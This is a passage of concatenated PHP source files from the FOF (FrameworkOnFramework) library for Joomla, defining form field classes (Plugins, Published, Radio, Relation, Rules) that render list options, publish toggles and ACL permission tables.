public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('plugins');
/**
* Form Field class for FOF
* Plugins installed on the site
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldPlugins extends JFormFieldPlugins implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldPublished extends JFormFieldList implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Method to get the field options.
*
* @since 2.0
*
* @return array The field option objects.
*/
protected function getOptions()
{
$options = parent::getOptions();
if (!empty($options))
{
return $options;
}
// If no custom options were defined let's figure out which ones of
the
// defaults we shall use...
$config = array(
'published' => 1,
'unpublished' => 1,
'archived' => 0,
'trash' => 0,
'all' => 0,
);
$configMap = array(
'show_published' => array('published', 1),
'show_unpublished' => array('unpublished', 1),
'show_archived' => array('archived', 0),
'show_trash' => array('trash', 0),
'show_all' => array('all', 0),
);
foreach ($configMap as $attribute => $preferences)
{
list($configKey, $default) = $preferences;
switch (strtolower($this->element[$attribute]))
{
case 'true':
case '1':
case 'yes':
$config[$configKey] = true;
case 'false':
case '0':
case 'no':
$config[$configKey] = false;
default:
$config[$configKey] = $default;
}
}
if ($config['published'])
{
$stack[] = JHtml::_('select.option', '1',
JText::_('JPUBLISHED'));
}
if ($config['unpublished'])
{
$stack[] = JHtml::_('select.option', '0',
JText::_('JUNPUBLISHED'));
}
if ($config['archived'])
{
$stack[] = JHtml::_('select.option', '2',
JText::_('JARCHIVED'));
}
if ($config['trash'])
{
$stack[] = JHtml::_('select.option', '-2',
JText::_('JTRASHED'));
}
if ($config['all'])
{
$stack[] = JHtml::_('select.option', '*',
JText::_('JALL'));
}
return $stack;
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
if (!($this->item instanceof FOFTable))
{
throw new Exception(__CLASS__ . ' needs a FOFTable to act
upon');
}
// Initialise
$prefix = '';
$checkbox = 'cb';
$publish_up = null;
$publish_down = null;
$enabled = true;
// Get options
if ($this->element['prefix'])
{
$prefix = (string) $this->element['prefix'];
}
if ($this->element['checkbox'])
{
$checkbox = (string) $this->element['checkbox'];
}
if ($this->element['publish_up'])
{
$publish_up = (string) $this->element['publish_up'];
}
if ($this->element['publish_down'])
{
$publish_down = (string) $this->element['publish_down'];
}
// @todo Enforce ACL checks to determine if the field should be enabled
or not
// Get the HTML
return JHTML::_('jgrid.published', $this->value,
$this->rowid, $prefix, $enabled, $checkbox, $publish_up, $publish_down);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('radio');
/**
* Form Field class for FOF
* Radio selection list
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldRadio extends JFormFieldRadio implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Form Field class for FOF
* Relation list
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldRelation extends FOFFormFieldList
{
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic() {
return $this->getRepeatable();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : $this->id;
$relationclass = $this->element['relationclass'] ? (string)
$this->element['relationclass'] : '';
$value_field = $this->element['value_field'] ? (string)
$this->element['value_field'] : 'title';
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$link_url = $this->element['url'] ? (string)
$this->element['url'] : false;
if (!($link_url && $this->item instanceof FOFTable))
{
$link_url = false;
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
$relationName = FOFInflector::pluralize($this->name);
$relations =
$this->item->getRelations()->getMultiple($relationName);
foreach ($relations as $relation) {
$html = '<span class="' . $relationclass .
'">';
if ($link_url)
{
$keyfield = $relation->getKeyName();
$this->_relationId = $relation->$keyfield;
$url = $this->parseFieldTags($link_url);
$html .= '<a href="' . $url . '">';
}
$value = $relation->get($relation->getColumnAlias($value_field));
// Get the (optionally formatted) value
if (!empty($empty_replacement) && empty($value))
{
$value = JText::_($empty_replacement);
}
if ($translate == true)
{
$html .= JText::_($value);
}
else
{
$html .= $value;
}
if ($link_url)
{
$html .= '</a>';
}
$html .= '</span>';
$rels[] = $html;
}
$html = '<span class="' . $class .
'">';
$html .= implode(', ', $rels);
$html .= '</span>';
return $html;
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*/
protected function getOptions()
{
$options = array();
$this->value = array();
$value_field = $this->element['value_field'] ? (string)
$this->element['value_field'] : 'title';
$input = new FOFInput;
$component = ucfirst(str_replace('com_', '',
$input->getString('option')));
$view = ucfirst($input->getString('view'));
$relation = FOFInflector::pluralize((string)
$this->element['name']);
$model = FOFModel::getTmpInstance(ucfirst($relation), $component .
'Model');
$table = $model->getTable();
$key = $table->getKeyName();
$value = $table->getColumnAlias($value_field);
foreach ($model->getItemList(true) as $option)
{
$options[] = JHtml::_('select.option', $option->$key,
$option->$value);
}
if ($id = FOFModel::getAnInstance($view)->getId())
{
$table = FOFTable::getInstance($view, $component . 'Table');
$table->load($id);
$relations = $table->getRelations()->getMultiple($relation);
foreach ($relations as $item)
{
$this->value[] = $item->getId();
}
}
return $options;
}
/**
* Replace string with tags that reference fields
*
* @param string $text Text to process
*
* @return string Text with tags replace
*/
protected function parseFieldTags($text)
{
$ret = $text;
// Replace [ITEM:ID] in the URL with the item's key value (usually:
// the auto-incrementing numeric ID)
$keyfield = $this->item->getKeyName();
$replace = $this->item->$keyfield;
$ret = str_replace('[ITEM:ID]', $replace, $ret);
// Replace the [ITEMID] in the URL with the current Itemid parameter
$ret = str_replace('[ITEMID]',
JFactory::getApplication()->input->getInt('Itemid', 0),
$ret);
// Replace the [RELATION:ID] in the URL with the relation's key
value
$ret = str_replace('[RELATION:ID]', $this->_relationId,
$ret);
// Replace other field variables in the URL
$fields = $this->item->getTableFields();
foreach ($fields as $fielddata)
{
$fieldname = $fielddata->Field;
if (empty($fieldname))
{
$fieldname = $fielddata->column_name;
}
$search = '[ITEM:' . strtoupper($fieldname) .
']';
$replace = $this->item->$fieldname;
$ret = str_replace($search, $replace, $ret);
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('rules');
/**
* Form Field class for FOF
* Joomla! ACL Rules
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFFormFieldRules extends JFormFieldRules implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
// This field cannot provide a static display
case 'static':
return '';
break;
// This field cannot provide a repeateable display
case 'repeatable':
return '';
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return '';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.1
*
* @return string The field HTML
*/
public function getRepeatable()
{
return '';
}
/**
* At the timing of this writing (2013-12-03), the Joomla
"rules" field is buggy. When you are
* dealing with a new record it gets the default permissions from the root
asset node, which
* is fine for the default permissions of Joomla articles, but unsuitable
for third party software.
* We had to copy & paste the whole code, since we can't
"inject" the correct asset id if one is
* not found. Our fixes are surrounded by `FOF Library fix` remarks.
*
* @return string The input field's HTML for this field type
*/
public function getInput()
{
if (version_compare(JVERSION, '3.0', 'ge'))
{
return $this->getInput3x();
}
else
{
return $this->getInput25();
}
}
protected function getInput25()
{
JHtml::_('behavior.tooltip');
// Initialise some field attributes.
$section = $this->element['section'] ? (string)
$this->element['section'] : '';
$component = $this->element['component'] ? (string)
$this->element['component'] : '';
$assetField = $this->element['asset_field'] ? (string)
$this->element['asset_field'] : 'asset_id';
// Get the actions for the asset.
$actions = JAccess::getActions($component, $section);
// Iterate over the children and add to the actions.
foreach ($this->element->children() as $el)
{
if ($el->getName() == 'action')
{
$actions[] = (object) array('name' => (string)
$el['name'], 'title' => (string)
$el['title'],
'description' => (string)
$el['description']);
}
}
// Get the explicit rules for this asset.
if ($section == 'component')
{
// Need to find the asset id by the name of the component.
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('id'));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' =
' . $db->quote($component));
$db->setQuery($query);
$assetId = (int) $db->loadResult();
if ($error = $db->getErrorMsg())
{
JError::raiseNotice(500, $error);
}
}
else
{
// Find the asset id of the content.
// Note that for global configuration, com_config injects
asset_id = 1 into the form.
$assetId = $this->form->getValue($assetField);
// ==== FOF Library fix - Start ====
// If there is no assetId (let's say we are dealing with a
new record), let's ask the table
// to give it to us. Here you should implement your logic (ie
getting default permissions from
// the component or from the category)
if(!$assetId)
{
$table = $this->form->getModel()->getTable();
$assetId = $table->getAssetParentId();
}
// ==== FOF Library fix - End ====
}
// Use the compact form for the content rules (deprecated).
//if (!empty($component) && $section !=
'component') {
// return JHtml::_('rules.assetFormWidget', $actions,
$assetId, $assetId ? null : $component, $this->name, $this->id);
//}
// Full width format.
// Get the rules for just this asset (non-recursive).
$assetRules = JAccess::getAssetRules($assetId);
// Get the available user groups.
$groups = $this->getUserGroups();
// Build the form control.
$curLevel = 0;
// Prepare output
$html = array();
$html[] = '<div id="permissions-sliders"
class="pane-sliders">';
$html[] = '<p class="rule-desc">' .
JText::_('JLIB_RULES_SETTINGS_DESC') . '</p>';
$html[] = '<ul id="rules">';
// Start a row for each user group.
foreach ($groups as $group)
{
$difLevel = $group->level - $curLevel;
if ($difLevel > 0)
{
$html[] = '<li><ul>';
}
elseif ($difLevel < 0)
{
$html[] = str_repeat('</ul></li>',
-$difLevel);
}
$html[] = '<li>';
$html[] = '<div class="panel">';
$html[] = '<h3 class="pane-toggler
title"><a
href="javascript:void(0);"><span>';
$html[] = str_repeat('<span
class="level">|–</span> ', $curLevel =
$group->level) . $group->text;
$html[] = '</span></a></h3>';
$html[] = '<div class="pane-slider content
pane-hide">';
$html[] = '<div class="mypanel">';
$html[] = '<table
class="group-rules">';
$html[] = '<thead>';
$html[] = '<tr>';
$html[] = '<th class="actions"
id="actions-th' . $group->value . '">';
$html[] = '<span class="acl-action">'
. JText::_('JLIB_RULES_ACTION') . '</span>';
$html[] = '</th>';
$html[] = '<th class="settings"
id="settings-th' . $group->value . '">';
$html[] = '<span class="acl-action">'
. JText::_('JLIB_RULES_SELECT_SETTING') .
'</span>';
$html[] = '</th>';
// The calculated setting is not shown for the root group of
global configuration.
$canCalculateSettings = ($group->parent_id ||
!empty($component));
if ($canCalculateSettings)
{
$html[] = '<th id="aclactionth' .
$group->value . '">';
$html[] = '<span
class="acl-action">' .
JText::_('JLIB_RULES_CALCULATED_SETTING') .
'</span>';
$html[] = '</th>';
}
$html[] = '</tr>';
$html[] = '</thead>';
$html[] = '<tbody>';
foreach ($actions as $action)
{
$html[] = '<tr>';
$html[] = '<td headers="actions-th' .
$group->value . '">';
$html[] = '<label class="hasTip"
for="' . $this->id . '_' . $action->name .
'_' . $group->value . '" title="'
. htmlspecialchars(JText::_($action->title) .
'::' . JText::_($action->description), ENT_COMPAT,
'UTF-8') . '">';
$html[] = JText::_($action->title);
$html[] = '</label>';
$html[] = '</td>';
$html[] = '<td headers="settings-th' .
$group->value . '">';
$html[] = '<select name="' .
$this->name . '[' . $action->name . '][' .
$group->value . ']" id="' . $this->id .
'_' . $action->name
. '_' . $group->value . '"
title="'
.
JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
JText::_($action->title), trim($group->text)) .
'">';
$inheritedRule = JAccess::checkGroup($group->value,
$action->name, $assetId);
// Get the actual setting for the action for this group.
$assetRule = $assetRules->allow($action->name,
$group->value);
// Build the dropdowns for the permissions sliders
// The parent group has "Not Set", all children
can rightly "Inherit" from that.
$html[] = '<option value=""' .
($assetRule === null ? ' selected="selected"' :
'') . '>'
. JText::_(empty($group->parent_id) &&
empty($component) ? 'JLIB_RULES_NOT_SET' :
'JLIB_RULES_INHERITED') . '</option>';
$html[] = '<option value="1"' .
($assetRule === true ? ' selected="selected"' :
'') . '>' . JText::_('JLIB_RULES_ALLOWED')
. '</option>';
$html[] = '<option value="0"' .
($assetRule === false ? ' selected="selected"' :
'') . '>' . JText::_('JLIB_RULES_DENIED')
. '</option>';
$html[] = '</select>  ';
// If this asset's rule is allowed, but the inherited
rule is deny, we have a conflict.
if (($assetRule === true) && ($inheritedRule ===
false))
{
$html[] = JText::_('JLIB_RULES_CONFLICT');
}
$html[] = '</td>';
// Build the Calculated Settings column.
// The inherited settings column is not displayed for the
root group in global configuration.
if ($canCalculateSettings)
{
$html[] = '<td headers="aclactionth'
. $group->value . '">';
// This is where we show the current effective settings
considering currrent group, path and cascade.
// Check whether this is a component or global. Change
the text slightly.
if (JAccess::checkGroup($group->value,
'core.admin', $assetId) !== true)
{
if ($inheritedRule === null)
{
$html[] = '<span
class="icon-16-unset">' .
JText::_('JLIB_RULES_NOT_ALLOWED') . '</span>';
}
elseif ($inheritedRule === true)
{
$html[] = '<span
class="icon-16-allowed">' .
JText::_('JLIB_RULES_ALLOWED') . '</span>';
}
elseif ($inheritedRule === false)
{
if ($assetRule === false)
{
$html[] = '<span
class="icon-16-denied">' .
JText::_('JLIB_RULES_NOT_ALLOWED') . '</span>';
}
else
{
$html[] = '<span
class="icon-16-denied"><span
class="icon-16-locked">' .
JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED')
.
'</span></span>';
}
}
}
elseif (!empty($component))
{
$html[] = '<span
class="icon-16-allowed"><span
class="icon-16-locked">' .
JText::_('JLIB_RULES_ALLOWED_ADMIN')
. '</span></span>';
}
else
{
// Special handling for groups that have global
admin because they can't be denied.
// The admin rights can be changed.
if ($action->name === 'core.admin')
{
$html[] = '<span
class="icon-16-allowed">' .
JText::_('JLIB_RULES_ALLOWED') . '</span>';
}
elseif ($inheritedRule === false)
{
// Other actions cannot be changed.
$html[] = '<span
class="icon-16-denied"><span
class="icon-16-locked">'
.
JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') .
'</span></span>';
}
else
{
$html[] = '<span
class="icon-16-allowed"><span
class="icon-16-locked">' .
JText::_('JLIB_RULES_ALLOWED_ADMIN')
. '</span></span>';
}
}
$html[] = '</td>';
}
$html[] = '</tr>';
}
$html[] = '</tbody>';
$html[] = '</table></div>';
$html[] = '</div></div>';
$html[] = '</li>';
}
$html[] = str_repeat('</ul></li>',
$curLevel);
$html[] = '</ul><div
class="rule-notes">';
if ($section == 'component' || $section == null)
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES');
}
else
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM');
}
$html[] = '</div></div>';
$js = "window.addEvent('domready', function(){ new
Fx.Accordion($$('div#permissions-sliders.pane-sliders .panel
h3.pane-toggler'),"
. "$$('div#permissions-sliders.pane-sliders .panel
div.pane-slider'), {onActive: function(toggler, i)
{toggler.addClass('pane-toggler-down');"
.
"toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_permissions-sliders"
. $component
. "',$$('div#permissions-sliders.pane-sliders
.panel h3').indexOf(toggler));},"
. "onBackground: function(toggler, i)
{toggler.addClass('pane-toggler');toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');"
. "i.removeClass('pane-down');}, duration: 300,
display: "
. JRequest::getInt('jpanesliders_permissions-sliders'
. $component, 0, 'cookie') . ", show: "
. JRequest::getInt('jpanesliders_permissions-sliders'
. $component, 0, 'cookie') . ", alwaysHide:true, opacity:
false}); });";
JFactory::getDocument()->addScriptDeclaration($js);
return implode("\n", $html);
}
protected function getInput3x()
{
JHtml::_('bootstrap.tooltip');
// Initialise some field attributes.
$section = $this->section;
$component = $this->component;
$assetField = $this->assetField;
// Get the actions for the asset.
$actions = JAccess::getActions($component, $section);
// Iterate over the children and add to the actions.
foreach ($this->element->children() as $el)
{
if ($el->getName() == 'action')
{
$actions[] = (object) array('name' => (string)
$el['name'], 'title' => (string)
$el['title'],
'description' => (string)
$el['description']);
}
}
// Get the explicit rules for this asset.
if ($section == 'component')
{
// Need to find the asset id by the name of the component.
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') .
' = ' . $db->quote($component));
$assetId = (int) $db->setQuery($query)->loadResult();
}
else
{
// Find the asset id of the content.
// Note that for global configuration, com_config injects
asset_id = 1 into the form.
$assetId = $this->form->getValue($assetField);
// ==== FOF Library fix - Start ====
// If there is no assetId (let's say we are dealing with a
new record), let's ask the table
// to give it to us. Here you should implement your logic (ie
getting default permissions from
// the component or from the category)
if(!$assetId)
{
$table = $this->form->getModel()->getTable();
$assetId = $table->getAssetParentId();
}
// ==== FOF Library fix - End ====
}
// Full width format.
// Get the rules for just this asset (non-recursive).
$assetRules = JAccess::getAssetRules($assetId);
// Get the available user groups.
$groups = $this->getUserGroups();
// Prepare output
$html = array();
// Description
$html[] = '<p class="rule-desc">' .
JText::_('JLIB_RULES_SETTINGS_DESC') . '</p>';
// Begin tabs
$html[] = '<div id="permissions-sliders"
class="tabbable tabs-left">';
// Building tab nav
$html[] = '<ul class="nav nav-tabs">';
foreach ($groups as $group)
{
// Initial Active Tab
$active = "";
if ($group->value == 1)
{
$active = "active";
}
$html[] = '<li class="' . $active .
'">';
$html[] = '<a href="#permission-' .
$group->value . '" data-toggle="tab">';
$html[] = str_repeat('<span
class="level">–</span> ', $curLevel =
$group->level) . $group->text;
$html[] = '</a>';
$html[] = '</li>';
}
$html[] = '</ul>';
$html[] = '<div class="tab-content">';
// Start a row for each user group.
foreach ($groups as $group)
{
// Initial Active Pane
$active = "";
if ($group->value == 1)
{
$active = " active";
}
$html[] = '<div class="tab-pane' . $active .
'" id="permission-' . $group->value .
'">';
$html[] = '<table class="table
table-striped">';
$html[] = '<thead>';
$html[] = '<tr>';
$html[] = '<th class="actions"
id="actions-th' . $group->value . '">';
$html[] = '<span class="acl-action">'
. JText::_('JLIB_RULES_ACTION') . '</span>';
$html[] = '</th>';
$html[] = '<th class="settings"
id="settings-th' . $group->value . '">';
$html[] = '<span class="acl-action">'
. JText::_('JLIB_RULES_SELECT_SETTING') .
'</span>';
$html[] = '</th>';
// The calculated setting is not shown for the root group of
global configuration.
$canCalculateSettings = ($group->parent_id ||
!empty($component));
if ($canCalculateSettings)
{
$html[] = '<th id="aclactionth' .
$group->value . '">';
$html[] = '<span
class="acl-action">' .
JText::_('JLIB_RULES_CALCULATED_SETTING') .
'</span>';
$html[] = '</th>';
}
$html[] = '</tr>';
$html[] = '</thead>';
$html[] = '<tbody>';
foreach ($actions as $action)
{
$html[] = '<tr>';
$html[] = '<td headers="actions-th' .
$group->value . '">';
$html[] = '<label for="' . $this->id .
'_' . $action->name . '_' . $group->value .
'" class="hasTooltip" title="'
. htmlspecialchars(JText::_($action->title) . '
' . JText::_($action->description), ENT_COMPAT, 'UTF-8')
. '">';
$html[] = JText::_($action->title);
$html[] = '</label>';
$html[] = '</td>';
$html[] = '<td headers="settings-th' .
$group->value . '">';
$html[] = '<select class="input-small"
name="' . $this->name . '[' . $action->name .
'][' . $group->value . ']" id="' .
$this->id . '_' . $action->name
. '_' . $group->value . '"
title="'
.
JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
JText::_($action->title), trim($group->text)) .
'">';
$inheritedRule = JAccess::checkGroup($group->value,
$action->name, $assetId);
// Get the actual setting for the action for this group.
$assetRule = $assetRules->allow($action->name,
$group->value);
// Build the dropdowns for the permissions sliders
// The parent group has "Not Set", all children
can rightly "Inherit" from that.
$html[] = '<option value=""' .
($assetRule === null ? ' selected="selected"' :
'') . '>'
. JText::_(empty($group->parent_id) &&
empty($component) ? 'JLIB_RULES_NOT_SET' :
'JLIB_RULES_INHERITED') . '</option>';
$html[] = '<option value="1"' .
($assetRule === true ? ' selected="selected"' :
'') . '>' . JText::_('JLIB_RULES_ALLOWED')
. '</option>';
$html[] = '<option value="0"' .
($assetRule === false ? ' selected="selected"' :
'') . '>' . JText::_('JLIB_RULES_DENIED')
. '</option>';
$html[] = '</select>  ';
// If this asset's rule is allowed, but the inherited
rule is deny, we have a conflict.
if (($assetRule === true) && ($inheritedRule ===
false))
{
$html[] = JText::_('JLIB_RULES_CONFLICT');
}
$html[] = '</td>';
// Build the Calculated Settings column.
// The inherited settings column is not displayed for the
root group in global configuration.
if ($canCalculateSettings)
{
$html[] = '<td headers="aclactionth'
. $group->value . '">';
// This is where we show the current effective settings
considering currrent group, path and cascade.
// Check whether this is a component or global. Change
the text slightly.
if (JAccess::checkGroup($group->value,
'core.admin', $assetId) !== true)
{
if ($inheritedRule === null)
{
$html[] = '<span class="label
label-important">' .
JText::_('JLIB_RULES_NOT_ALLOWED') . '</span>';
}
elseif ($inheritedRule === true)
{
$html[] = '<span class="label
label-success">' . JText::_('JLIB_RULES_ALLOWED') .
'</span>';
}
elseif ($inheritedRule === false)
{
if ($assetRule === false)
{
$html[] = '<span class="label
label-important">' .
JText::_('JLIB_RULES_NOT_ALLOWED') . '</span>';
}
else
{
$html[] = '<span
class="label"><i class="icon-lock
icon-white"></i> ' .
JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED')
. '</span>';
}
}
}
elseif (!empty($component))
{
$html[] = '<span class="label
label-success"><i class="icon-lock
icon-white"></i> ' .
JText::_('JLIB_RULES_ALLOWED_ADMIN')
. '</span>';
}
else
{
// Special handling for groups that have global
admin because they can't be denied.
// The admin rights can be changed.
if ($action->name === 'core.admin')
{
$html[] = '<span class="label
label-success">' . JText::_('JLIB_RULES_ALLOWED') .
'</span>';
}
elseif ($inheritedRule === false)
{
// Other actions cannot be changed.
$html[] = '<span class="label
label-important"><i class="icon-lock
icon-white"></i> '
.
JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') .
'</span>';
}
else
{
$html[] = '<span class="label
label-success"><i class="icon-lock
icon-white"></i> ' .
JText::_('JLIB_RULES_ALLOWED_ADMIN')
. '</span>';
}
}
$html[] = '</td>';
}
$html[] = '</tr>';
}
$html[] = '</tbody>';
$html[] = '</table></div>';
}
$html[] = '</div></div>';
$html[] = '<div class="alert">';
if ($section == 'component' || $section == null)
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES');
}
else
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM');
}
$html[] = '</div>';
return implode("\n", $html);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
